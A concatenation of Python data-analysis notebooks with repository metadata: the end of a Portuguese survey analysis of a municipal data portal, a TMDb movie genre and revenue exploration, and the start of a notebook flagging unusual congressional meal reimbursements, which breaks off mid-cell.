frequ\u00eancia?\"\n].apply(categorize_usability)\n\n\n# In[123]:\n\n\nlabels = {\n    \"THIRD_ANSWER_INFO\": \"QUALIDADE DA INFORMA\u00c7\u00c3O\",\n    \"THIRD_ANSWER_FREQ\": \"FREQU\u00caNCIA DA INFORMA\u00c7\u00c3O\",\n    \"THIRD_ANSWER_USABILITY\": \"SISTEMA INTUITIVO\",\n}\npesquisa[[\"THIRD_ANSWER_INFO\", \"THIRD_ANSWER_FREQ\", \"THIRD_ANSWER_USABILITY\"]].apply(\n    np.sum\n).rename(index=labels).sort_values().plot(\n    kind=\"barh\",\n    title=\"O que me faria voltar a utilizar o portal?\",\n    xticks=np.arange(2, 22, 2),\n)\n\n\n# ## Outras Fontes de Informa\u00e7\u00e3o\n\n# In[124]:\n\n\npesquisa[\"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"] = pesquisa[\n    \"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"\n].fillna(\"Nenhum\")\npesquisa[\"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"].value_counts()\n\n\n# Podemos ver que existem algumas respostas semelhantes, embora a maior parte dos respondentes n\u00e3o tenha informado outra fonte de informa\u00e7\u00e3o dos dados municipais. De qualquer forma, precisamos categorizar algumas das informa\u00e7\u00f5es. Apesar do Acorda Cidade ser um website, pela quantidade expressiva de respostas, vamos separ\u00e1-lo em uma categoria pr\u00f3pria.\n\n# In[125]:\n\n\ndef categorize_acorda_cidade(answer):\n    if any(x in unidecode(answer.lower()).strip() for x in [\"acorda cidade\"]):\n        return 1\n    return 0\n\n\ndef categorize_prefeitura(answer):\n    if any(x in unidecode(answer.lower()).strip() for x in [\"prefeitura\"]):\n        return 1\n    return 0\n\n\ndef categorize_diario_oficial(answer):\n    if any(x in unidecode(answer) for x in [\"DO\", \"oficial\"]):\n        return 1\n    return 0\n\n\ndef categorize_sites(answer):\n    if any(\n        x in unidecode(answer.lower()).strip() for x in [\"sites\", \"jornal\", \"jornais\"]\n    ):\n        return 1\n    return 0\n\n\ndef categorize_none(answer):\n    if any(x in unidecode(answer.lower()).strip() for x in [\"nenhum\"]):\n        return 1\n    return 0\n\n\n# In[126]:\n\n\npesquisa[\"FOURTH_ANSWER_ACORDA_CIDADE\"] = pesquisa[\n    \"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"\n].apply(categorize_acorda_cidade)\n\npesquisa[\"FOURTH_ANSWER_CITY_HALL\"] = pesquisa[\n    \"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"\n].apply(categorize_prefeitura)\n\npesquisa[\"FOURTH_ANSWER_OFFICIAL\"] = pesquisa[\n    \"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"\n].apply(categorize_diario_oficial)\n\npesquisa[\"FOURTH_ANSWER_WEBSITES\"] = pesquisa[\n    \"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"\n].apply(categorize_sites)\n\npesquisa[\"FOURTH_ANSWER_NONE\"] = pesquisa[\n    \"Quais sites voc\u00ea usa ou j\u00e1 usou para pesquisar esses dados?\"\n].apply(categorize_none)\n\n\n# In[127]:\n\n\nlabels = {\n    \"FOURTH_ANSWER_ACORDA_CIDADE\": \"ACORDA CIDADE\",\n    \"FOURTH_ANSWER_CITY_HALL\": \"PREFEITURA\",\n    \"FOURTH_ANSWER_OFFICIAL\": \"DI\u00c1RIO OFICIAL\",\n    \"FOURTH_ANSWER_WEBSITES\": \"OUTROS SITES\",\n    \"FOURTH_ANSWER_NONE\": \"NENHUM\",\n}\npesquisa[\n    [\n        \"FOURTH_ANSWER_ACORDA_CIDADE\",\n        \"FOURTH_ANSWER_CITY_HALL\",\n        \"FOURTH_ANSWER_OFFICIAL\",\n        \"FOURTH_ANSWER_WEBSITES\",\n        \"FOURTH_ANSWER_NONE\",\n    ]\n].apply(np.sum).rename(index=labels).sort_values().plot(\n    kind=\"barh\", title=\"Outros sites utilizados\"\n)\n\n\n# In[128]:\n\n\nlabels = {\n    \"FOURTH_ANSWER_ACORDA_CIDADE\": \"ACORDA CIDADE\",\n    \"FOURTH_ANSWER_CITY_HALL\": \"PREFEITURA\",\n    \"FOURTH_ANSWER_OFFICIAL\": \"DI\u00c1RIO OFICIAL\",\n    \"FOURTH_ANSWER_WEBSITES\": \"OUTROS SITES\",\n}\npesquisa[\n    [\n        \"FOURTH_ANSWER_ACORDA_CIDADE\",\n        \"FOURTH_ANSWER_CITY_HALL\",\n        \"FOURTH_ANSWER_OFFICIAL\",\n        \"FOURTH_ANSWER_WEBSITES\",\n    ]\n].apply(np.sum).rename(index=labels).sort_values().plot(\n    kind=\"barh\", title=\"Outros sites utilizados (para aqueles que usam)\"\n)\n", "meta": {"hexsha": "0ccc29bd86fc064e9b3e27992ed24e77349543d8", "size": 17733, "ext": "py", "lang": "Python", "max_stars_repo_path": "analysis/2020-09-01-felipelfb-resultados-pesquisa-usuarios-do-portal.py", "max_stars_repo_name": "Rejanio/analises", "max_stars_repo_head_hexsha": "2ad173cfd8b0464dfb98bdc6ae446a9d79297a12", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 31, "max_stars_repo_stars_event_min_datetime": "2020-01-06T17:41:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-03T13:10:28.000Z", "max_issues_repo_path": "analysis/2020-09-01-felipelfb-resultados-pesquisa-usuarios-do-portal.py", "max_issues_repo_name": "Rejanio/analises", "max_issues_repo_head_hexsha": "2ad173cfd8b0464dfb98bdc6ae446a9d79297a12", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 71, "max_issues_repo_issues_event_min_datetime": "2020-05-30T18:20:24.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-01T21:04:00.000Z", "max_forks_repo_path": "analysis/2020-09-01-felipelfb-resultados-pesquisa-usuarios-do-portal.py", "max_forks_repo_name": "Rejanio/analises", "max_forks_repo_head_hexsha": "2ad173cfd8b0464dfb98bdc6ae446a9d79297a12", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 16, "max_forks_repo_forks_event_min_datetime": "2019-11-27T01:18:44.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-11T11:07:51.000Z", "avg_line_length": 29.8033613445, "max_line_length": 362, "alphanum_fraction": 0.7039418034, "include": true, "reason": "import numpy", "num_tokens": 4898, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3960681662740417, "lm_q2_score": 0.14804720179063333, "lm_q1q2_score": 0.05863678373521916}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Project: The Movie Database (TMDb) Data Analysis\n# \n# ## Table of Contents\n# <ul>\n# <li><a href=\"#intro\">Introduction</a></li>\n# <li><a href=\"#wrangling\">Data Wrangling</a></li>\n# <li><a href=\"#eda\">Exploratory Data Analysis</a></li>\n# <li><a href=\"#conclusions\">Conclusions</a></li>\n# </ul>\n\n# <a id='intro'></a>\n# ## Introduction\n# \n# \n# ### Data Overview\n# \n# > The data is collected from The Movie Databese (TMDb) API. The product uses the TMDb API but is not endorsed or certified by TMDb. The API provides access to data on many movies, actors and actresses, crew members, and TV shows as well as budgets and revenues.\n# This dataset contains information about 10,000 movies collected from The Movie Database (TMDb), including user ratings and revenue. We shall analyze this data to dig into some of the important industry questions like what can we say about the success of a movie before it is released?\n# \n# > Note that budget_adj (budget adjusted) and revenue_adj (revenue adjusted) columns show the budget and revenue of the associated movie in terms of 2010 dollars, accounting for inflation over time.\n# \n# ### Relevant questions we could ask about the data\n# \n# > 1. Which genres are most popular from year to year?\n# > 2. What kinds of properties are associated with movies that have high revenues?\n# \n\n# In[1]:\n\n\n# Use this cell to set up import statements for all of the packages that you\n#   plan to use.\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().run_line_magic('matplotlib', 'inline')\nsns.set_style ('darkgrid')\n\n# Remember to include a 'magic word' so that your visualizations are plotted\n#   inline with the notebook. See this page for more:\n#   http://ipython.readthedocs.io/en/stable/interactive/magics.html\n\n\n# <a id='wrangling'></a>\n# ## Data Wrangling\n# \n# \n# ### General Properties\n# \n# > **Features And Counts**\n# > 1. Samples (rows) = 10866\n# > 2. Variables(columns) = 21\n# > 3. Duplicate rows = 1 \n# > 4. Rows with missing data = 7930\n\n# In[2]:\n\n\n# Load your data and print out a few lines. Perform operations to inspect data\ndf = pd.read_csv('tmdb_movies.csv')\ndf.head()\n\n#   types and look for instances of missing or possibly errant data.\n\n\n# In[3]:\n\n\ndf.tail(20)\n\n\n# In[4]:\n\n\n# exploring the overall dataset to discover fixes\ndf.describe()\n\n\n# In[5]:\n\n\n# exploring the overall dataset with visuals\ndf.hist(figsize=(15, 12));\n\n\n# > release_year and vote_average are good variables to analyze this dataset because of their step-like skewness\n\n# In[6]:\n\n\n# to find number of samples, number of columns, datatypes of the variables, and missing values \ndf.info()\n\n\n# \n# ### Data Cleaning \n# \n\n# In[7]:\n\n\n# to find number of duplicate rows\nsum(df.duplicated())\n\n\n# In[8]:\n\n\n# to find number of unique values\ndf.nunique()\n\n\n# #### 1. Cleaning Column Labels\n# > **Dropping extraneous columns** \n# \n# > I dropped features that that are not relevant to the questions for my analysis.\n# \n# > **imdb_id:** These values are not necessary in analyzing information within the table.\n# \n# > **homepage, tagline, overview, keywords:** These values are unique to each row and cannot be used to make comparisons across multiple rows.\n# \n# > **budget, revenue:** Since the **'budget_adj' and 'revenue_adj'** columns adjust the budget and revenue values in terms of 2010 dollars and will therefore allow for more accurate comparisons and analysis, these columns are not needed.\n# \n# > **release_date:** I will be using release year to analyze this data, so this more specific column is not needed.\n\n# In[9]:\n\n\n# using pandas' drop function to drop columns from the dataset: 'id', 'imdb_id', 'homepage', 'tagline', 'keywords', 'overview', 'release_date'\ndf.drop(['imdb_id', 'homepage', 'tagline', 'keywords', 'overview', 'budget', 'revenue', 'release_date'], axis=1, inplace=True)\n\n\n# In[10]:\n\n\ndf.head()\n\n\n# In[11]:\n\n\ndf.info()\n\n\n# #### 2. Fixing Data Types\n# > I fixed **revenue_adj** and **budget_adj** datatypes \n# > \n# >Convert from float to int\n\n# In[12]:\n\n\ndf['revenue_adj'] = df['revenue_adj'].astype(int)\ndf['budget_adj'] = df['budget_adj'].astype(int)\n\n\n# In[13]:\n\n\ndf.head()\n\n\n# #### 3. Rename Data Columns\n# > Renaming **budget_adj and revenue_adj** to new **budget and revenue** to make the dataset well labelled\n\n# In[14]:\n\n\n#rename columns to make variables have good attributes and proper names\ndf.rename(columns = {'budget_adj':'budget', 'revenue_adj':'revenue'}, inplace=True)\ndf.head()\n\n\n# In[15]:\n\n\ndf.info()\n\n\n# #### 4. Drop Nulls and Dedupe\n# > I dropped any rows that contained missing values and dropped any duplicate rows in the dataset\n# \n\n# In[16]:\n\n\n# view missing value count for each feature in the dataset\ndf.isnull().sum()\n\n\n# > There are no missing values for all datatypes that are int and float\n\n# In[17]:\n\n\ndf.dropna(inplace=True)\ndf.info()\n\n\n# In[18]:\n\n\n# print numbers of duplicates in the dataset\nprint(df.duplicated().sum())\n\n\n# In[19]:\n\n\n# drop duplicates \ndf.drop_duplicates(inplace=True)\n\n\n# In[20]:\n\n\n# print again number of duplicates to confirm dedupe\nprint(df.duplicated().sum())\n\n\n# In[21]:\n\n\ndf.info()\n\n\n# In[22]:\n\n\ndf.shape\n\n\n# #### 5. Creating Column hybrids\n# > I transform the **genres** column to make it easier to work with\n\n# In[23]:\n\n\n# turn string into list\ndf['genres'] = df['genres'].str.split('|')\ndf.head()\n\n\n# In[24]:\n\n\n# create a new dataframe with genres listed out in rows\ndf_gen = df.genres.apply(pd.Series)\ndf_gen.head()\n\n\n# #### 6. Merging Datasets\n# > I combined the new dataframe with the main dataframe to have a single dataframe for analysis\n# \n# > **genres** was originally presented as a string of genre types separated by a **'|'**. This makes it difficult to narrow down movies by one specific genre which is what the first question is all about. First, I turned the strings into a list and then separated the items into their own columns in a new table. Now, I will merge this dataframe with the original dataframe.\n# >\n# > After that, I will pivot the genre values so that they are presented in their own rows instead of columns. And also, I will remove the original **genres** row and the **variable** row that will be created by the use of the **melt() function** below.\n# \n\n# In[25]:\n\n\n# merge both dataframes\ndf_combined = df.merge(df_gen, left_index=True, right_index = True)\ndf_combined.head()\n\n\n# In[26]:\n\n\n# pivot genres from columns into rows\ndf_combined = df_combined.melt(id_vars=['id' ,'popularity','original_title','cast','director','runtime','genres','production_companies','vote_count','vote_average','release_year','budget','revenue'],value_name=\"genre\")\ndf_combined.head()\n\n\n# In[27]:\n\n\n#remove unnecessary columns\ndf_combined.drop(['genres','variable'],axis=1,inplace=True)\ndf_combined.head()\n\n\n# ### 7. Drop Nulls \n# > Finally, I am going to drop all rows with null values again. I now have two dataframes, **df** and **df_combined**. The first table is the original table of 9,772 rows and the second is the new table where each movie is presented in a row for every genre it is associated with.\n\n# In[28]:\n\n\n# remove rows with null values\ndf_combined.dropna(inplace=True)\n\n\n# In[29]:\n\n\ndf_combined.info()\n\n\n# In[30]:\n\n\ndf_combined.shape\n\n\n# <a id='eda'></a>\n# ## Exploratory Data Analysis\n# \n# > **Tip**: Now that you've trimmed and cleaned your data, you're ready to move on to exploration. Compute statistics and create visualizations with the goal of addressing the research questions that you posed in the Introduction section. It is recommended that you be systematic with your approach. Look at one variable at a time, and then follow it up by looking at relationships between variables.\n# \n# > In this step, I will explore the data to answer the below question and plot different visualizations to identify patterns and dependencies.\n# \n# ### Research Question 1: Which genres are most popular from year to year? \n# > There are two variables that can be used to understand the popularity of genres of a movie, 'popularity' and 'vote_average'. I compare these columns with each other from year to year to identify which one will be more helpful in answering my question.\n# >\n# > Using histograms, bar charts, box plots and scatterplots to explore the cleaned dataset\n\n# In[31]:\n\n\n# Use this, and more code cells, to explore your data. Don't forget to add\n#   Markdown cells to document your observations and findings.\ndf_combined.plot(x='vote_average', y='popularity',kind='scatter')\nplt.title('Vote Average vs Popularity')\nplt.xlabel('Vote Average')\nplt.ylabel('Popularity')\nplt.show()\n\n\n# In[32]:\n\n\ndf_combined['vote_average'].plot(kind='box')\nplt.show()\n\n\n# In[33]:\n\n\ndf['popularity'].plot(kind='box')\nplt.show()\n\n\n# > I want to first check to make sure that both **popularity** and **vote_average** represent the same thing. The scatter plot above illustrates that both columns are positively correlated. However, as shown by the box plots, **vote_average** is more evenly distributed and lacks any outliers. Nonetheless, all following analysis will be done with **vote_average** as well as **popularity**.\n\n# In[34]:\n\n\ndf_genre = df_combined.groupby('genre').mean()\ndf_genre = df_genre.sort_values('vote_average')\ndf_genre\nplt.bar(df_genre.index, df_genre['vote_average'], color = 'blue')\nplt.xticks(rotation='90')\nplt.title('Vote Average by Genre')\nplt.ylabel('Vote Average')\nplt.xlabel('Genre')\nplt.show()\n\n\n# > To compare vote averge by genre, I used the new dataframe I made while cleaning the data (**df_combined**) to create another dataframe (**df_genre**) that displays the mean value of all columns aggregated by genre type. Then I plotted the **vote average mean** on a bar chart for each genre.\n# \n# > The chart shows that the lowest rated movies are **Horror**, **Science Fiction**, and **TV Movie**, while the highest rated are **Documentary**, **History**, and **Music**.\n\n# Now, let's check for the most popular genre and their year\n\n# In[35]:\n\n\ndf_combined['popularity'].describe()\n\n\n# In[36]:\n\n\n# use groupby to get popular genres\ngenre_pop = df_combined.groupby(['release_year', 'genre'], as_index=False)['popularity'].mean()\n\n\n# In[37]:\n\n\n# Plot the The Popularity of each genre in the dataset\nplt.figure(figsize=[24,12])\nsns.barplot(data=genre_pop.sort_values(by='popularity', ascending=False), x='genre', y='popularity')\nplt.xlabel('Genre')\nplt.ylabel('Popularity')\nplt.title('The Popularity of each Genre in TMDB Movies')\nplt.show()\n\n\n# From the combined dataset, **Adventure**, **Animation** and **Fantasy** are the top 3 popular genres\n\n# In[38]:\n\n\n# use query to determine the most popular genres\nmost_popular = df_combined.query('popularity > 10')\n\n\n# In[39]:\n\n\n# plot the most popular genre (i.e, genres with popularity higher than 10)\nmost_popular.plot(x='genre', y='popularity', kind='bar', figsize=(8,4))\nplt.title('Most Popular Genres in TMDb Movies')\nplt.xlabel('Genres')\nplt.ylabel('Popularity')\nplt.show()\n\n\n# **Action**, **Adventure**, **Drama**, **Science Fiction** and **Thriller** are the most popular genres year by year\n\n# In[40]:\n\n\n# print most popular genres and their release year\nprint(most_popular.groupby(['release_year', 'genre'])['popularity'].mean())\n\n\n# In[41]:\n\n\n# check the most popular genre for each year\nmost_popular.groupby(['release_year', 'genre'])['popularity'].mean().plot(kind='bar')\nplt.title('Most Popular Genre by Year')\nplt.xlabel('Release Year and Genre')\nplt.ylabel('Popularity')\nplt.show()\n\n\n# And again, this shows that **Action**, **Adventure**, **Drama** ,**Science Fiction** and **Thriller** are the most popular genres in their grossing years\n\n# ### Research Question 2: What kinds of properties are associated with movies that have high revenues? \n\n# In[42]:\n\n\n# use query to determine high revenue movies\nhigh_revenue = df_combined.query('revenue > revenue.mean()')\nlow_revenue = df_combined.query('revenue <= revenue.mean()')\n\n\n# In[43]:\n\n\n# plot to compare high revenue with low revenue movies\nlow_revenue.vote_average.plot.hist(color='orange', alpha=0.5, label='Low')\nhigh_revenue.vote_average.plot.hist(color='green', alpha=0.5, label='High')\nplt.title('Revenue by Rating')\nplt.xlabel('Rating')\nplt.ylabel('Revenue Counts')\nplt.legend()\nplt.show()\n\n\n# It is clear that we have more low revenue movies from the dataset. High revenue skewed more to the right while low revenue skewed more to the left. This shows that high revenue movies gained higher rating than the low revenue movies.\n# Therefore, **vote_average** is one of the properties associated with high revenue movies\n\n# In[44]:\n\n\n# check the association of high revenue movies with their release year\nlow_revenue.release_year.plot.hist(color='orange', alpha=0.5, label='Low')\nhigh_revenue.release_year.plot.hist(color='green', alpha=0.5, label='High')\nplt.title('Revenue by Release Year')\nplt.xlabel('Release Year')\nplt.ylabel('Revenue Counts')\nplt.legend()\nplt.show()\n\n\n# In[45]:\n\n\n# check the association of high revenue movies with budget\nlow_revenue.budget.plot.hist(color='orange', alpha=0.5, label='Low')\nhigh_revenue.budget.plot.hist(color='green', alpha=0.5, label='High')\nplt.title('Revenue by Budget')\nplt.xlabel('Budget')\nplt.ylabel('Revenue Counts')\nplt.legend()\nplt.show()\n\n\n# High revenue movies are favoured by high budget as well. \n# Therefore, **budget** is also associated with high revenue movies\n\n# <a id='conclusions'></a>\n# ## Conclusions\n# \n# > **Tip**: Finally, summarize your findings and the results that have been performed. Make sure that you are clear with regards to the limitations of your exploration. If you haven't done any statistical tests, do not imply any statistical conclusions. And make sure you avoid implying causation from correlation!\n# \n# > **Tip**: Once you are satisfied with your work here, check over your report to make sure that it is satisfies all the areas of the rubric (found on the project submission page at the end of the lesson). You should also probably remove all of the \"Tips\" like this one so that the presentation is as polished as possible.\n# \n# > There are many qualities about movies that make them unique from one another. In this project, I was able to analyze these qualities and identify which properties are associated with movie popularity and high revenue.\n# \n# > After cleaning and trimming the dataset by removing unnecessary, null, and duplicated values, I created a secondary table that broke each movie down into the separate genre it falls under.\n# Then I plotted a few charts to assess what will be used as the dependent variable, popularity and vote average. \n# \n# ### Findings\n# \n# \n# 1. **Action**, **Adventure**, **Drama**, **SCience Fiction** and **Thriller** are the most popular genres year by year\n# 2. **Action**, **Adventure**, **Drama**, **SCience Fiction** and **Thriller** are the most popular genres in their grossing year\n# 3. **vote_average**, **release_year** and **budget** are the properties associated with high revenue movies\n# \n# \n# > Since my analysis only illustrates correlation between variables, it does not definitively conclude whether any trait can predict the popularity and revenue status of a movie. That would require deeper statistical analysis that was not performed in this project.\n# \n# ## Submitting your Project \n# \n# > Before you submit your project, you need to create a .html or .pdf version of this notebook in the workspace here. To do that, run the code cell below. If it worked correctly, you should get a return code of 0, and you should see the generated .html file in the workspace directory (click on the orange Jupyter icon in the upper left).\n# \n# > Alternatively, you can download this report as .html via the **File** > **Download as** submenu, and then manually upload it into the workspace directory by clicking on the orange Jupyter icon in the upper left, then using the Upload button.\n# \n# > Once you've done this, you can submit your project by clicking on the \"Submit Project\" button in the lower right here. This will create and submit a zip file with this .ipynb doc and the .html or .pdf version you created. Congratulations!\n\n# In[46]:\n\n\nfrom subprocess import call\ncall(['python', '-m', 'nbconvert', 'Investigate_a_Dataset.ipynb'])\n\n", "meta": {"hexsha": "e227eace0ae60033496facfc2f8d88b318bfcfb3", "size": 16252, "ext": "py", "lang": "Python", "max_stars_repo_path": "Investigate_a_Dataset.py", "max_stars_repo_name": "Bron-analytics/Investigate-A-Dataset", "max_stars_repo_head_hexsha": "2cfc66b2725fc50c6b9ac7d4d4aa73b4970a6f58", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-05T00:58:04.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-05T00:58:04.000Z", "max_issues_repo_path": "Investigate_a_Dataset.py", "max_issues_repo_name": "Bron-analytics/Investigate-A-Dataset", "max_issues_repo_head_hexsha": "2cfc66b2725fc50c6b9ac7d4d4aa73b4970a6f58", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-08-05T00:56:36.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-05T00:56:36.000Z", "max_forks_repo_path": "Investigate_a_Dataset.py", "max_forks_repo_name": "Bron-analytics/Investigate-A-Dataset", "max_forks_repo_head_hexsha": "2cfc66b2725fc50c6b9ac7d4d4aa73b4970a6f58", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.7803030303, "max_line_length": 401, "alphanum_fraction": 0.7255722373, "include": true, "reason": "import numpy", "num_tokens": 3922, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3702253925955866, "lm_q2_score": 0.1581743467959293, "lm_q1q2_score": 0.05856015964107339}}
{"text": "\n# coding: utf-8\n\n# # Anomalies in meal prices\n# \n# In the Chamber of Deputies' CEAP, there is a list of 1,000's of meal expenses made by congresspeople. The law says that the congressperson cannot pay for any other, even being her advisor or SO. We want to work on this analysis to find possibly illegal and immoral expenses. They may have happened when the politician spent more than needed (e.g. the whole menu costs X but the bill was 2X) or too much in an specific period of time. In the end, we also want to alert about too expensive reibursements, even with an explanation behind of it.\n# \n# Note: remember to correct prices with an inflation index (e.g. IPCA).\n\n# In[1]:\n\nget_ipython().magic('matplotlib inline')\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set(color_codes=True)\n\nplt.rcParams['figure.figsize'] = (20, 10)\n\n\n# In[2]:\n\nfrom serenata_toolbox.datasets import fetch\n\nfetch('2016-11-19-reimbursements.xz', '../data')\nfetch('2016-09-03-companies.xz', '../data')\nfetch('2016-11-29-yelp-companies.xz', '../data')\nfetch('2016-12-02-foursquare-companies.xz', '../data')\n\n\n# In[3]:\n\nimport numpy as np\nimport pandas as pd\n\ndataset = pd.read_csv('../data/2016-11-19-reimbursements.xz',\n                      dtype={'applicant_id': np.str,\n                             'cnpj_cpf': np.str,\n                             'congressperson_id': np.str,\n                             'subquota_number': np.str},\n                      low_memory=False)\ndataset = dataset[dataset['congressperson_id'].notnull()]\ndataset['issue_date'] = pd.to_datetime(dataset['issue_date'], errors='coerce')\ndataset['issue_date_day'] = dataset['issue_date'].apply(lambda date: date.day)\ndataset['issue_date_month'] = dataset['issue_date'].apply(lambda date: date.month)\ndataset['issue_date_year'] = dataset['issue_date'].apply(lambda date: date.year)\ndataset['issue_date_weekday'] = dataset['issue_date'].apply(lambda date: date.weekday())\ndataset['issue_date_week'] = dataset['issue_date'].apply(lambda date: date.week)\n\n\n# The `companies.xz` dataset has businesses placed outside Brazilian area. We intentionally disconsider them.\n\n# In[4]:\n\nis_in_brazil = '(-73.992222 < longitude < -34.7916667) & (-33.742222 < latitude < 5.2722222)'\ncompanies = pd.read_csv('../data/2016-09-03-companies.xz',\n                        dtype={'cnpj': np.str},\n                        low_memory=False)\ncompanies = companies.query(is_in_brazil)\ncompanies['cnpj'] = companies['cnpj'].str.replace(r'\\D', '')\ndataset = pd.merge(dataset, companies,\n                   how='left',\n                   left_on='cnpj_cpf',\n                   right_on='cnpj',\n                   suffixes=('', '_company'))\n\n\n# In[5]:\n\ndataset =     dataset.query('subquota_description == \"Congressperson meal\"')\ncompanies =     companies[companies['cnpj'].isin(dataset.loc[dataset['cnpj'].notnull(),\n                                                 'cnpj'])]\n\n\n# In[6]:\n\ndataset['total_net_value'].describe()\n\n\n# In[7]:\n\ndataset['total_net_value'].median()\n\n\n# In[8]:\n\nsns.distplot(dataset['total_net_value'],\n             bins=30,\n             kde=False)\n\n\n# In[9]:\n\nbottom_99 = dataset['total_net_value'].quantile(0.99)\nbottom_99\n\n\n# In[10]:\n\ndataset[dataset['total_net_value'] < bottom_99].shape\n\n\n# In[11]:\n\nsns.distplot(dataset.loc[dataset['total_net_value'] < bottom_99, 'total_net_value'],\n             bins=30,\n             kde=False)\n\n\n# In[12]:\n\nbottom_99_dataset = dataset.query('total_net_value > {}'.format(bottom_99))\nranking = bottom_99_dataset.groupby('state_company')['total_net_value']     .median().sort_values(ascending=False)\n\nsns.boxplot(x='state_company',\n            y='total_net_value',\n            data=bottom_99_dataset,\n            order=ranking.index)\n\n\n# In[13]:\n\nbottom_99_dataset.query('state_company == \"CE\"').shape\n\n\n# In[14]:\n\ndataset.query('state_company == \"CE\"').shape\n\n\n# In[15]:\n\nbottom_99_dataset['state_company'].isnull().sum()\n\n\n# In[16]:\n\nbottom_99_dataset.query('state_company == \"CE\"')     .sort_values('total_net_value', ascending=False)\n\n\n# ## Using Yelp to improve prices information\n\n# In[17]:\n\nyelp = pd.read_csv('../data/2016-11-29-yelp-companies.xz',\n                   low_memory=False)\nyelp.head()\n\n\n# We have data for just 8.6% of the companies which received from the \"Congressperson meal\" subquota.\n\n# In[18]:\n\nyelp['price'].notnull().sum()\n\n\n# In[19]:\n\ncompanies.shape\n\n\n# In[20]:\n\nyelp['price'].isnull().sum()\n\n\n# In[21]:\n\nyelp['price.int'] = yelp['price'].str.len()\nstates_with_records =     yelp[yelp['price'].notnull()].groupby('location.state')['location.state'].count() > 10\nstates_with_records = states_with_records[states_with_records].index\n\n\n# In[22]:\n\nyelp_just_significant_states =     yelp[yelp['price'].notnull() &\n         yelp['location.state'].isin(states_with_records)]\nyelp_just_significant_states['location.state'].value_counts()\n\n\n# Yelp won't be that useful for now, since we don't have a lot of data. Will leave it for another analysis.\n\n# ## Predict prices\n\n# The idea here is to try to predict the \"right range for prices\" in a specific place. If we can have a good accuracy, everything far from the prediction could be considered an outlier.\n\n# In[23]:\n\nbottom_99_dataset.iloc[0, :57]\n\n\n# **DummyRegressor with mean strategy as a baseline**\n\n# In[24]:\n\nfrom sklearn.dummy import DummyRegressor\nfrom sklearn.model_selection import train_test_split\n\nX = bottom_99_dataset[['year']]\ny = bottom_99_dataset['total_net_value']\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)\n\nmodel = DummyRegressor(strategy='mean')\nmodel.fit(X_train, y_train)\nmodel.score(X_test, y_test)\n\n\n# In[25]:\n\nfrom sklearn.preprocessing import LabelEncoder\n\nle_state = LabelEncoder()\nle_city = LabelEncoder()\nfactor_columns = ['state_company', 'city']\nmodel_dataset = bottom_99_dataset.dropna(subset=factor_columns)\nmodel_dataset['state_company'] = le_state.fit_transform(model_dataset['state_company'])\nmodel_dataset['city'] = le_city.fit_transform(model_dataset['city'])\n\nmodel_columns = ['cnpj',\n                 'issue_date_day',\n                 'issue_date_month',\n                 'issue_date_year']\nX = model_dataset[model_columns + factor_columns]\ny = model_dataset['total_net_value']\nX_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)\n\n\n# **LinearRegression**\n# \n# Not very good accuracy.\n\n# In[26]:\n\nfrom sklearn.linear_model import LinearRegression\n\nmodel = LinearRegression(n_jobs=-1)\nmodel.fit(X_train, y_train)\nmodel.score(X_test, y_test)\n\n\n# What if we could improve it using the type of business as a feature? e.g. restaurant, hotel, grill...\n\n# In[27]:\n\nimport unicodedata\n\ndef normalize_string(string):\n    if isinstance(string, str):\n        nfkd_form = unicodedata.normalize('NFKD', string.lower())\n        return nfkd_form.encode('ASCII', 'ignore').decode('utf-8')\n\n\n# In[28]:\n\nimport nltk\nfrom sklearn.feature_extraction.text import CountVectorizer\n\nstopwords = nltk.corpus.stopwords.words('portuguese')\ncount_vect = CountVectorizer(stop_words=stopwords)\ntrade_names = dataset.loc[dataset['supplier'].notnull(),\n                          'supplier'].unique()\ntrade_names = np.vectorize(normalize_string)(trade_names)\ndataset_counts = count_vect.fit_transform(trade_names)\n\n\n# In[29]:\n\nfrequent_words = sorted(list(zip(count_vect.get_feature_names(),\n    np.asarray(dataset_counts.sum(axis=0)).ravel())), key=lambda x: -x[1])\n\n\n# In[30]:\n\nfrequent_words[:20]\n\n\n# In[31]:\n\nfrequent_words = dict(frequent_words)\n\nexcluded_keywords = ['ltda', 'cia', 'epp']\n[frequent_words.pop(keyword) for keyword in excluded_keywords]\n\n\n# In[32]:\n\ndef business_type(name):\n    fun = np.vectorize(lambda x: normalize_string(x))\n    keywords = set(fun(name.split(' '))) - set(stopwords)\n    key_freqs = list(map(lambda x: (x, frequent_words.get(x)), list(keywords)))\n    key_freqs = [key_freq for key_freq in key_freqs if key_freq[1] is not None]\n    if key_freqs:\n        key_freq = max(key_freqs, key=lambda x: x[1])\n        return key_freq[0]\n\ndataset['supplier_keyword'] = dataset['supplier'].apply(business_type)\nbottom_99_dataset['supplier_keyword'] =     bottom_99_dataset['supplier'].apply(business_type)\n\n\n# 